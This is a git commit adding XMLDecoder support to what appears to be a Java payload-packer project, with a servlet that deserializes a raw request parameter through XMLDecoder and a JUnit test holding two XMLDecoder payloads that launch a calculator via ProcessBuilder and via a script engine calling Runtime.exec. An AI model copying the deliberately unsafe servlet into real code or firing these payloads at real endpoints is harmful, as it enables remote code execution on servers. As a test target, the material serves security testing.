feat: support XMLDecoder packer

2026-09-21 22:50:42 +08:00 · 2025-08-13 23:53:40 +08:00
parent 6f9ae38add
commit 346e518913
7 changed files with 104 additions and 1 deletions
@@ -0,0 +1,25 @@
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.beans.XMLDecoder;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/3
+ */
+@WebServlet("/xmlDecoder")
+public class XmlDecoderServlet extends HttpServlet {
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String param = req.getParameter("data");
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(param.getBytes());
+        XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
+        Object obj = xmlDecoder.readObject();
+        resp.getWriter().println(obj);
+        xmlDecoder.close();
+    }
+}
@@ -0,0 +1,45 @@
+import org.junit.jupiter.api.Test;
+
+import java.beans.XMLDecoder;
+import java.io.ByteArrayInputStream;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/7/3
+ */
+class XmlDecoderServletTest {
+
+    @Test
+    void test() {
+        String xml = "<java>" +
+                "    <object class=\"java.lang.ProcessBuilder\">\n" +
+                "        <array class=\"java.lang.String\" length=\"1\" >\n" +
+                "            <void index=\"0\">\n" +
+                "                <string>Calculator</string>\n" +
+                "            </void>\n" +
+                "        </array>\n" +
+                "        <void method=\"start\"/>\n" +
+                "    </object>\n" +
+                "</java>";
+        String xml1 = "<java>" +
+                "    <object class=\"javax.script.ScriptEngineManager\">\n" +
+                "        <void method=\"getEngineByName\">\n" +
+                "            <string>js</string>\n" +
+                "            <void method=\"eval\">\n" +
+                "                <string>java.lang.Runtime.getRuntime().exec('open -a Calculator')</string>\n" +
+                "            </void>\n" +
+                "        </void>\n" +
+                "    </object>\n" +
+                "</java>";
+        try {
+            ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
+            XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
+            xmlDecoder.readObject();
+            xmlDecoder.close();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+}